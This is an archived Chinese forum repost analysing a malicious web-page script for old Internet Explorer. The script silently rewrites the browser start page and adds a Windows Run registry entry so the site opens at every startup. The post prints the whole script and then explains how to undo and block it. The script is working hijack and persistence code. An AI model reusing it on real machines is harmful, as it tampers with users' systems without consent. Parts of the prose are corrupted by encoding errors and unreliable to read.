河源学生社区's Archiver

Anasn 发表于 2004-5-20 22:21

[转帖]解剖恶意网站代码:弹出IE页面

<SPAN id=copyid style="FONT-SIZE: 9pt">来源:<A href="http://gebitu.vicp.net/bbs/topic.asp?l_id=35&amp;t_id=540" target="_blank" >http://gebitu.vicp.net/bbs/topic.asp?l_id=35&amp;t_id=540</A></SPAN>


<SPAN style="FONT-SIZE: 9pt"></SPAN>       


<SPAN style="FONT-SIZE: 9pt">许多网友纷纷指出有的网站不择手段,当用户访问过它们的网页后,不仅IE默认首页被篡改了,而且每次开机后IE都会自动弹出访问该网站。





<BR>?牐犖仪通过对下面这段JavaScript程序的解剖,希望读者能明白其究竟,并掌握修复的方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改来达到提高访问量的目的不仅会事得其反,更是一种不道德的行为。


<BR>?牐牨敬?码由子昂轩编辑制作,仅供学习研究之用。


<BR>?牐?<I></I>        &lt;!--<I></I>        Begin<I></I>        set<I></I>        start<I></I>        page<I></I>        brought<I></I>        to<I></I>        u<I></I>        by<I></I>        JavaHouse.126.com--&gt;


&lt;SCRIPT<I></I>        language=javascript&gt;


document.write("&lt;APPLET<I></I>        HEIGHT=0<I></I>        WIDTH=0<I></I>        code=com.ms.activeX.ActiveXComponent&gt;&lt;/APPLET&gt;");


function<I></I>        f(){


try


{


//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)


a1=document.applets[0];


a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");


a1.createInstance();


Shl<I></I>        =<I></I>        a1.GetObject();


a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");


a1.createInstance();


FSO<I></I>        =<I></I>        a1.GetObject();


a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");


a1.createInstance();


Net<I></I>        =<I></I>        a1.GetObject();


try


{


if<I></I>        (documents.cookie.indexOf("Chg")<I></I>        ==<I></I>        -1)


//以下是检测用户注册表并修改相应的键值


{


Shl.RegWrite<I></I>        ("HKCU\\Software\\Microsoft\\Internet<I></I>        Explorer\\Main\\Start<I></I>        Page",<I></I>        "<IMG src="http://gebitu.vicp.net/bbs/image/url.gif" align=absMiddle border=0><A href='http://javahouse.126.com/"' target="_blank" ><FONT color=#1c5f82>http://JavaHouse.126.com/"</FONT></A>;);//修改用户InternetExplorer浏览器的默认主页


Shl.RegWrite<I></I>        ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\",<I></I>        "<IMG src="http://gebitu.vicp.net/bbs/image/url.gif" align=absMiddle border=0><A href='http://javahouse.126.com/"' target="_blank" ><FONT color=#1c5f82>http://JavaHouse.126.com/"</FONT></A>;);//建立默认启动页面程序,保证用户每次启动计算机首先打开该页面


var<I></I>        expdate<I></I>        =<I></I>        new<I></I>        Date((new<I></I>        Date()).getTime()<I></I>        +<I></I>        (1));


documents.cookie="Chg=general;<I></I>        expires="<I></I>        +<I></I>        expdate.toGMTString()<I></I>        +<I></I>        ";<I></I>        path=/;"


}


}


catch(e)


{}


}


catch(e)


{}


}


function<I></I>        init()


{


setTimeout("f()",<I></I>        1000);//实现打开页面后1秒钟内执行测试修改注册表的工作


}


init();&lt;/SCRIPT&gt;


&lt;!--End<I></I>        set<I></I>        start<I></I>        page<I></I>        --&gt;<I></I>       


首先,我们来分析一下这句代码,程序中使用:


<BR>?牐?<I></I>        Shl.RegWrite<I></I>        ("HKCU\\Software\\Microsoft\\Internet<I></I>        Explorer\\Main\\Start<I></I>        Page",<I></I>        "<IMG src="http://gebitu.vicp.net/bbs/image/url.gif" align=absMiddle border=0><A href='http://javahouse.126.com/"' target="_blank" ><FONT color=#1c5f82>http://JavaHouse.126.com/"</FONT></A>;);//修改用户InternetExplorer浏览器的默认主页


<BR>?牐犉涫稻褪切薷挠没ё⒉岜碇?


<BR>?牐?<I></I>        HKEY_CURRENT_USER\Software\Microsoft\Internet<I></I>        Explorer\main\文件夹下Start<I></I>        Page的键值,


<BR>?牐犝饫锩娴闹稻褪谴娣诺腎E浏览器的默认主页,如果你想改回来,把上面的相应代码改为:


<BR>?牐?<I></I>        Shl.RegWrite<I></I>        ("HKCU\\Software\\Microsoft\\Internet<I></I>        Explorer\\Main\\Start<I></I>        Page",<I></I>        "about:blank");


<BR>?牐牼涂梢允迪执蚩狪E是空白页了;当然你也不用动注册表,直接打开IE修改Internet选项中的主页更方便些。


<BR>?牐犜倮纯纯瓷鲜龀绦蜃畋氨傻囊痪浯?码:


<BR>?牐?<I></I>        Shl.RegWrite<I></I>        ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\",<I></I>        "<IMG src="http://gebitu.vicp.net/bbs/image/url.gif" align=absMiddle border=0><A href='http://javahouse.126.com/"' target="_blank" ><FONT color=#1c5f82>http://JavaHouse.126.com/"</FONT></A>;);//建立默认启动页面程序,保证用户每次启动计算机首先打开该页面


<BR>?牐犕ü?在注册表中


<BR>?牐?<I></I>        HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\


<BR>?牐犖募?夹下建立Windows默认启动程序,当Windows启动后,我们会发现这个网页会自动打开,但是在“开始”-“程序”-“启动”中却找不到,这是为什么呢?哦,原来都放到Run这个文件夹下面了。怎么来修改呢?两种方法,一是查找源头,进入注册表,删除Run下面的相应项就可以了;二是在“开始”-“运行”处输入"msconfig",把启动下面相应的那个网站前面的"√"去掉,重新启动计算机就可以了。


<BR>?牐牨苊獯死喽褚庑薷淖⒉岜淼脑俅畏⑸?,你可以在IE的安全属性设置中禁掉ActiveX,当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。还有一种办法就是对于Windows98打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP,把ActiveXComponent.class删掉;对于WindowsMe打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP,把ActiveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页的。<I></I>       


<BR>?牐犠詈笏邓翟谑滓呈褂谜饫啻?码的网站的目的,像在启动计算机直接打开网页的做法我认为主要是针对宽带和专线上网的用户,这样只要你不修改注册表禁掉它,你的IE主页每次进入系统都会自动被修改成那个网站;对于拨号上网的用户每次进入系统都开一个找不到的主页,也无所谓,至少你不改注册表,直接修改IE主页属性后可以避免被那种网站再次修改(前提是不再进那个网站),可是每次开机后都弹出个网页也真是让人讨厌。


<BR>?牐犚陨洗?码适用于Windows9x/Me,InternetExplorer5.X浏览器,据说对IE6.0无效(因为它里面没有ActiveXComponent.class这个组件),但作者没有测试过。<BR>

</SPAN>

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.